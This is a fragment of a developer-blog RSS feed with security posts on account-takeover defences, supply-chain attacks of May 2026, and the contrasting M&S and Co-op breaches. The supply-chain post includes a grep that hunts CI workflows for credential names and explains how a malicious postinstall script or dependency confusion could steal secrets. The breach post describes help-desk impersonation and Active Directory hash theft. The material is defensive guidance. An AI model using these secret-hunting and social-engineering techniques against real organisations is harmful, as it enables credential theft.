&lt;/span&gt;&lt;span class="n"&gt;WINDOW&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;    &lt;span class="c1"&gt;# 5 minutes
&lt;/span&gt;&lt;span class="n"&gt;LIMIT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_rate_limited&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;attempts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;attempts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;WINDOW&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attempts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;LIMIT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="n"&gt;attempts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key on account &lt;em&gt;and&lt;/em&gt; IP separately — attackers rotate IPs (residential proxies), and legitimate users share IPs (offices, NAT).&lt;/p&gt;

&lt;h3&gt;
  
  
  2. MFA — ideally passkeys
&lt;/h3&gt;

&lt;p&gt;If your platform supports customer-facing MFA, enable it. Even opt-in gives security-conscious users a way to protect themselves.&lt;/p&gt;

&lt;p&gt;But the real win is &lt;strong&gt;passkeys (FIDO2/WebAuthn)&lt;/strong&gt;. Passwords are the root cause of credential stuffing — remove the password and the attack vector collapses, since there's no shared secret left to steal, leak, or replay.&lt;/p&gt;

&lt;p&gt;Separately, passkeys also outperform passwords on plain usability — the FIDO Alliance's 2025 Passkey Index found a &lt;strong&gt;93% login completion rate for passkeys vs. ~63% for password-based methods&lt;/strong&gt;. That's a UX/conversion number (how often a real user finishes logging in), not a measure of attack resistance — but it means the security upgrade doesn't come at the cost of friction, which is usually the objection that kills MFA rollouts.&lt;/p&gt;

&lt;p&gt;Major platforms (Amazon, Google, PayPal, TikTok) are already rolling out passkey support. If you're building auth for a new platform, FIDO2 should be the default, not the upgrade.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Server-side session invalidation
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quick test:&lt;/strong&gt; log in → click logout → press browser Back. If the dashboard renders, your session tokens aren't being invalidated server-side on logout.&lt;/p&gt;

&lt;p&gt;This is a common misconfiguration in stateless token setups where the server trusts the client to "forget" the token. &lt;strong&gt;Server must explicitly invalidate or blacklist the session on logout.&lt;/strong&gt; For JWT-based sessions, a short TTL + token blacklist or rotation is the fix.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Suspicious login detection
&lt;/h3&gt;

&lt;p&gt;At minimum: flag logins from new devices or unusual geolocations and notify the user. If you're not building this, most platforms (Shopify, WooCommerce, Magento) have plugins for basic login activity logging.&lt;/p&gt;

&lt;p&gt;For custom builds: a simple &lt;code&gt;user_sessions&lt;/code&gt; table tracking &lt;code&gt;ip&lt;/code&gt;, &lt;code&gt;user_agent&lt;/code&gt;, &lt;code&gt;geoip&lt;/code&gt;, and &lt;code&gt;last_seen&lt;/code&gt; lets you flag anomalies without a full SIEM.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Audit your platform's security features
&lt;/h3&gt;

&lt;p&gt;If you're on Shopify, WooCommerce, or Magento — review the built-in security settings. These aren't glamorous, but they matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Login attempt monitoring&lt;/li&gt;
&lt;li&gt;IP-based throttling&lt;/li&gt;
&lt;li&gt;Suspicious activity flags&lt;/li&gt;
&lt;li&gt;Session timeout configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Make sure they're &lt;strong&gt;turned on and configured&lt;/strong&gt;, not just "available."&lt;/p&gt;




&lt;h2&gt;
  
  
  The Architectural Takeaway
&lt;/h2&gt;

&lt;p&gt;ATO isn't a vulnerability you patch — it's a configuration and design surface. The most effective mitigation is layered: rate limiting at the edge, MFA/passkeys at auth, proper session lifecycle management, activity logging, and sensible platform defaults.&lt;/p&gt;

&lt;p&gt;None of this requires a security budget. Most of it requires someone to actually check whether these features are enabled.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The question isn't whether someone is trying to log in as your customers. It's whether your store is configured to notice — and whether it's harder to attack than the one next door.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;Originally published on the &lt;a href="https://wardenbit.com/posts/someone-else-might-already-be-logged-into-your-shop?utm_source=devto&amp;amp;utm_medium=syndication&amp;amp;utm_campaign=someone_else_might_already_be_logged_into_your_shop&amp;amp;utm_content=devto_article_cta" rel="noopener noreferrer"&gt;WardenBit Blog&lt;/a&gt;, covering practical ecommerce security for developers and shop owners.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>ecommerce</category>
    </item>
    <item>
      <title>Supply Chain Is the New Front Door: What May 2026 Taught Us About Third-Party Risk</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Wed, 03 Jun 2026 14:20:19 +0000</pubDate>
      <link>https://dev.to/stanleya/supply-chain-is-the-new-front-door-what-may-2026-taught-us-about-third-party-risk-5d5a</link>
      <guid>https://dev.to/stanleya/supply-chain-is-the-new-front-door-what-may-2026-taught-us-about-third-party-risk-5d5a</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"We audited our own code. Our dependencies are someone else's problem."&lt;/em&gt; — Until they become yours.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;May 2026 was a turning point for supply chain attacks. In a single month, a trojanized software installer hit thousands of machines across 100+ countries, a certificate authority was compromised into issuing fraudulent code-signing certificates, and a popular open-source framework was poisoned in a way that reached inside one of the world's most prominent AI companies.&lt;/p&gt;

&lt;p&gt;These weren't exotic zero-days. They were trust exploits — attacks that abuse the relationships between your organisation and the tools, libraries, and vendors you've already approved.&lt;/p&gt;

&lt;p&gt;If you're running a software team, an ecommerce platform, or any business that depends on third-party code, this post is about why your clean vulnerability scan report might be hiding the biggest risk on your network.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Happened: Three Incidents, One Pattern
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. DAEMON Tools — Trojanized Installers (May 6)
&lt;/h3&gt;

&lt;p&gt;A supply-chain attack compromised the official installer distribution of DAEMON Tools, a widely used disc utility. The trojanized packages delivered malware to thousands of users across more than 100 countries.&lt;/p&gt;

&lt;p&gt;What made it effective was deceptively simple: users downloaded from what appeared to be the legitimate source, the installer carried a valid-looking digital signature, and antivirus engines initially trusted the binary because of its origin. The malware established persistence before most users noticed anything unusual.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The lesson:&lt;/strong&gt; Your users trust your download page. If an attacker compromises your build or distribution pipeline, that trust becomes the attack vector.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. DigiCert — Fraudulent Code-Signing Certificates (May 4)
&lt;/h3&gt;

&lt;p&gt;An attacker managed to obtain fraudulent code-signing certificates from DigiCert, one of the internet's most trusted certificate authorities. These certificates could be used to sign malware that operating systems and security tools would treat as entirely legitimate.&lt;/p&gt;

&lt;p&gt;The danger here is structural. Code-signed malware bypasses SmartScreen, Gatekeeper, and most endpoint protection heuristics. Because the certificates were issued by a trusted CA, the chain of trust remained intact from the OS's perspective — victims would have had no reason to suspect a signed binary was malicious.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The lesson:&lt;/strong&gt; When trust infrastructure itself is compromised, your entire verification model breaks down. Your WAF doesn't cover this.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. TanStack Supply-Chain Attack → OpenAI (May 14)
&lt;/h3&gt;

&lt;p&gt;The threat group tracked as "TeamPCP" compromised the TanStack open-source framework — a widely used set of React/TypeScript libraries. The attack propagated to downstream consumers, including OpenAI, where two employee devices were affected and limited credentials were exposed. OpenAI confirmed no customer data or core systems were impacted, but an exposure window existed.&lt;/p&gt;

&lt;p&gt;What made this significant wasn't the impact at OpenAI specifically — it was the mechanism. TanStack is a transitive dependency in thousands of projects. Most teams don't audit it directly. The attack reached a high-value target not by breaking through a perimeter, but by travelling silently through the dependency chain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The lesson:&lt;/strong&gt; You don't just trust your direct dependencies. You trust their dependencies, and their dependencies' dependencies. The attack surface is recursive.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Anatomy of a Supply Chain Attack
&lt;/h2&gt;

&lt;p&gt;Supply chain attacks follow a predictable pattern. Understanding it helps you defend against it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Compromise a trusted upstream&lt;/strong&gt; — package registry, CA, build server, or vendor&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inject malicious payload&lt;/strong&gt; — trojanized update, backdoor, or signed malware&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legitimate distribution channel delivers it&lt;/strong&gt; — npm install, auto-update, official download&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Downstream consumers trust and execute&lt;/strong&gt; — CI/CD pipelines, developer machines, production servers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attacker gains access, credentials, or persistence&lt;/strong&gt; — the damage is done before anyone notices&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Unlike a direct attack on your application, you may never see the initial vector. The malicious code arrives through a channel you've already whitelisted.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Traditional Security Testing Misses This
&lt;/h2&gt;

&lt;p&gt;Most security programmes focus on what you can control directly: your code, your infrastructure, your configurations. That's necessary but insufficient.&lt;/p&gt;

&lt;p&gt;Here's what you test versus what supply chain attacks actually target:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What You Test&lt;/th&gt;
&lt;th&gt;What Supply Chain Attacks Target&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Your application code&lt;/td&gt;
&lt;td&gt;Your dependencies' code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Your network perimeter&lt;/td&gt;
&lt;td&gt;Your build pipeline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Your servers&lt;/td&gt;
&lt;td&gt;Your developers' machines&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Your WAF rules&lt;/td&gt;
&lt;td&gt;Your certificate trust chain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Your access controls&lt;/td&gt;
&lt;td&gt;Your vendors' access controls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Your vulnerability scan&lt;/td&gt;
&lt;td&gt;Transitive dependencies you've never reviewed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is why a clean scan report can be misleading. Your code can be flawless while the library it imports is silently exfiltrating environment variables.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Attack Surface: What We Find During Pentests
&lt;/h2&gt;

&lt;p&gt;When we conduct supply chain-focused assessments, we consistently find the same categories of exposure:&lt;/p&gt;

&lt;h3&gt;
  
  
  Dependency Confusion &amp;amp; Typosquatting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Checking for internal package names that could be claimed on public registries&lt;/span&gt;
npm config list &lt;span class="nt"&gt;--json&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;registry
pip config list 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep &lt;/span&gt;index-url

&lt;span class="c"&gt;# Common finding: internal package names that are&lt;/span&gt;
&lt;span class="c"&gt;# not reserved on npm/PyPI — anyone could register them&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Many organisations publish internal packages with names that are available on public registries. An attacker can upload a malicious package with the same name but a higher version number — and &lt;code&gt;npm install&lt;/code&gt; or &lt;code&gt;pip install&lt;/code&gt; may pull the attacker's version without any warning.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exposed CI/CD Credentials
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# What we look for in accessible CI configurations&lt;/span&gt;
&lt;span class="c"&gt;# Common findings: plaintext tokens, overly broad IAM roles,&lt;/span&gt;
&lt;span class="c"&gt;# secrets in environment variables visible to any build step&lt;/span&gt;

&lt;span class="c"&gt;# Example: GitHub Actions workflow with broad permissions&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;NPM_TOKEN&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;DOCKER_PASSWORD"&lt;/span&gt; .github/workflows/

&lt;span class="c"&gt;# The risk: any dependency that runs a postinstall script&lt;/span&gt;
&lt;span class="c"&gt;# can read these environment variables&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A compromised dependency running as a &lt;code&gt;postinstall&lt;/code&gt; script has access to every environment variable in your CI pipeline — including deployment keys, registry tokens, and cloud credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  Unsigned or Unpinned Dependencies
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Dangerous:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;floating&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;ranges&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"tanstack-react-table"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^8.x"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Better:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;pinned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;versions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;integrity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;hashes&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"tanstack-react-table"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"8.20.5"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;With&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;package-lock.json&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;integrity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;verified&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without integrity checking, a compromised registry can serve different code to different consumers — enabling targeted supply chain attacks that are nearly impossible to detect through casual inspection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Build Pipeline Integrity
&lt;/h3&gt;

&lt;p&gt;The DAEMON Tools incident is a textbook example of what we routinely find: build servers with unrestricted internet access, signing keys stored on the same machine that runs builds, no reproducible build verification (nobody checks that source matches binary), and deployment pipelines that auto-publish without human review.&lt;/p&gt;




&lt;h2&gt;
  
  
  How the Nightmare-Eclipse Campaign Widens the Risk
&lt;/h2&gt;

&lt;p&gt;While you're thinking about supply chain risk, there's a parallel threat worth noting. The Nightmare-Eclipse campaign (disclosed May 2026) has been actively exploiting Windows Defender and BitLocker vulnerabilities, including several that remain unpatched.&lt;/p&gt;

&lt;p&gt;The connection to supply chain risk is worth thinking through: if your developers' machines are compromised — with Defender blinded so the system appears healthy — any code they push, any credential they use, and any build they run is potentially tainted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A plausible attack chain:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Compromise a developer's machine via Nightmare-Eclipse&lt;/li&gt;
&lt;li&gt;Use their legitimate credentials to push malicious code&lt;/li&gt;
&lt;li&gt;The code passes through your CI/CD pipeline with valid signatures&lt;/li&gt;
&lt;li&gt;Your supply chain is now poisoned — from the inside&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is a hypothetical scenario, not a confirmed attack chain from these incidents — but it illustrates why endpoint security and supply chain security can't be treated as separate problems.&lt;/p&gt;




&lt;h2&gt;
  
  
  Actionable Steps for Software Teams
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Immediate (This Week)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Audit your dependency tree.&lt;/strong&gt; Run &lt;code&gt;npm audit&lt;/code&gt;, &lt;code&gt;pip-audit&lt;/code&gt;, or your ecosystem's equivalent. But more importantly: do you know what your dependencies' dependencies are doing?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pin and verify.&lt;/strong&gt; Lock dependency versions and enable integrity checking. In npm, ensure &lt;code&gt;package-lock.json&lt;/code&gt; integrity fields are present. In Python, use hash-checking mode:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--require-hashes&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Check for dependency confusion.&lt;/strong&gt; Are any of your internal package names available on public registries? If so, either reserve them or configure scoped registries.&lt;/p&gt;

&lt;h3&gt;
  
  
  Short-Term (This Month)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Audit CI/CD secrets.&lt;/strong&gt; Which environment variables are exposed to build steps? Could a &lt;code&gt;postinstall&lt;/code&gt; script read your deployment keys? Scope permissions to the minimum required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Review third-party access.&lt;/strong&gt; What access do your vendors, contractors, and SaaS tools have to your systems? The DigiCert incident is a reminder that trust in your tooling is only as strong as the security of whoever manages it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Enable SBOM generation.&lt;/strong&gt; Start producing Software Bills of Materials for your builds. You can't assess risk in dependencies you can't enumerate.&lt;/p&gt;

&lt;h3&gt;
  
  
  Strategic (Ongoing)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Include supply chain in your pentest scope.&lt;/strong&gt; Standard application pentests rarely cover dependency risk, build pipeline security, or developer workstation exposure. Ask your provider specifically about supply chain testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Implement SLSA or equivalent build attestation.&lt;/strong&gt; The SLSA framework (Supply-chain Levels for Software Artifacts) provides a structured approach to build integrity verification.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monitor for anomalous dependency behaviour.&lt;/strong&gt; Tools like Socket (for npm) can detect when packages make unexpected network calls, access the filesystem outside their scope, or introduce new permissions.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Bottom Line
&lt;/h2&gt;

&lt;p&gt;Your organisation's security perimeter no longer ends at your firewall — or your codebase. It extends through every package you install, every vendor you trust, every certificate you validate, and every build pipeline you run.&lt;/p&gt;

&lt;p&gt;May 2026 demonstrated that attackers have shifted focus from breaking through defences to poisoning supply chains. The question isn't whether your team is exposed — it's whether you'll detect it before the damage is done.&lt;/p&gt;

&lt;p&gt;Start with visibility. Know what you're running, where it came from, and whether it's what you think it is. That's the foundation everything else builds on.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This article is written for developers and engineering teams who want to understand how software supply chain attacks work in practice and what concrete steps reduce exposure.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Source Notes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.barracuda.com/2026/05/19/nightmare-eclipse-zero-days-grudge" rel="noopener noreferrer"&gt;Barracuda — Nightmare-Eclipse: six zero-days, six weeks and one big grudge&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cm-alliance.com/cybersecurity-blog/biggest-cyber-attacks-data-breaches-ransomware-attacks-of-may-2026" rel="noopener noreferrer"&gt;Cyber Management Alliance — Biggest Cyber Attacks, Data Breaches, Ransomware Attacks of May 2026&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.blackfog.com/the-state-of-ransomware-2026" rel="noopener noreferrer"&gt;BlackFog — The State of Ransomware 2026&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wiz.io/blog/github-git-push-rce" rel="noopener noreferrer"&gt;Wiz Research — CVE-2026-3854: GitHub Git Push RCE via Internal Trust Boundary Abuse&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" rel="noopener noreferrer"&gt;CISA — Known Exploited Vulnerabilities Catalog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>supplychain</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>Two Retailers, One Attack: What Really Decides Who Survives a Breach</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Fri, 29 May 2026 13:47:00 +0000</pubDate>
      <link>https://dev.to/stanleya/two-retailers-one-attack-what-really-decides-who-survives-a-breach-4all</link>
      <guid>https://dev.to/stanleya/two-retailers-one-attack-what-really-decides-who-survives-a-breach-4all</guid>
      <description>&lt;p&gt;In April 2025, two of Britain's most recognized retailers were hit by the same adversary, using the same attack technique, in the same month. One lost hundreds of millions of dollars. The other noticed within minutes and kept the lights on.&lt;/p&gt;

&lt;p&gt;For readers outside the UK: Marks &amp;amp; Spencer (M&amp;amp;S) and the Co-op Group are household names in Britain. M&amp;amp;S — founded in 1884 — operates around 1,400 stores across the country, spanning food, clothing, and homeware, with a major online shopping business. The Co-op Group is one of the largest consumer cooperatives in the world, running thousands of food stores and funeral homes across the UK, serving millions of members. These aren't small businesses. They're institutions woven into daily British life — the kind of organizations where a disruption doesn't just make the tech press; it makes the evening news.&lt;/p&gt;

&lt;p&gt;Marks &amp;amp; Spencer lost an estimated $400 million in operating profit. Their online operations went dark for over three weeks. Contactless payments failed across 2,300 food stores. The attack wiped more than $930 million from the company's market value.&lt;/p&gt;

&lt;p&gt;The Co-op Group — targeted with the exact same social engineering play — detected the intrusion within minutes. Their security operations center locked the compromised account immediately. Customer-facing services continued uninterrupted. Total business impact: negligible.&lt;/p&gt;

&lt;p&gt;Same attacker. Same technique. Same month. Wildly different outcomes.&lt;/p&gt;

&lt;p&gt;This isn't a story about social engineering. It's not even really a story about M&amp;amp;S or the Co-op. It's a story about the three questions that separate organizations that survive a breach from those that don't — and why most security spending doesn't move the needle on any of them.&lt;/p&gt;




&lt;h2&gt;
  
  
  The attack, in brief
&lt;/h2&gt;

&lt;p&gt;The threat group known as Scattered Spider (also tracked as UNC3944, Octo Tempest, and Muddled Libra by various vendors) is a predominantly English-speaking collective — many of them teenagers and young adults — that has compromised over 100 organizations worldwide. Their signature move isn't malware exploitation. It's picking up the phone.&lt;/p&gt;

&lt;p&gt;At M&amp;amp;S, they called a third-party IT help desk, impersonated an employee, and convinced the support agent to reset credentials and disable multi-factor authentication. At the Co-op, they did the same thing — called up, answered security questions, got an account reset.&lt;/p&gt;

&lt;p&gt;The technique was identical. What happened next was not.&lt;/p&gt;




&lt;h2&gt;
  
  
  Question 1: Can you detect it?
&lt;/h2&gt;

&lt;p&gt;At M&amp;amp;S, the attackers operated freely for approximately two days before anyone noticed something was wrong. By the time the first anomaly was flagged — late afternoon on April 19 — the adversary had already been inside the network since at least April 17. The first crisis meeting didn't happen until 10 PM that night.&lt;/p&gt;

&lt;p&gt;In those 48 hours of undetected access, the attackers had already stolen the NTDS.dit file — the core Active Directory database containing password hashes for every user in the organization. From there, they moved laterally, escalated privileges, and eventually deployed DragonForce ransomware across VMware ESXi infrastructure during the Easter weekend.&lt;/p&gt;

&lt;p&gt;Two days of free movement. That's an eternity in incident response terms.&lt;/p&gt;

&lt;p&gt;At the Co-op, the SOC detected unusual account behavior &lt;strong&gt;within minutes&lt;/strong&gt;. Behavioral analytics flagged the anomalous activity the moment the attacker started using the reset credentials in ways that didn't match the legitimate user's patterns. The account was immediately restricted.&lt;/p&gt;

&lt;p&gt;Rob Elsey, the Co-op's Chief Digital and Information Officer, told the UK Parliament's Business and Trade Sub-Committee:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Our cyber-defenses kicked in immediately and restricted the activities of that account."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That word — &lt;em&gt;immediately&lt;/em&gt; — is doing a lot of work. It's the difference between a contained incident and a catastrophe.&lt;/p&gt;

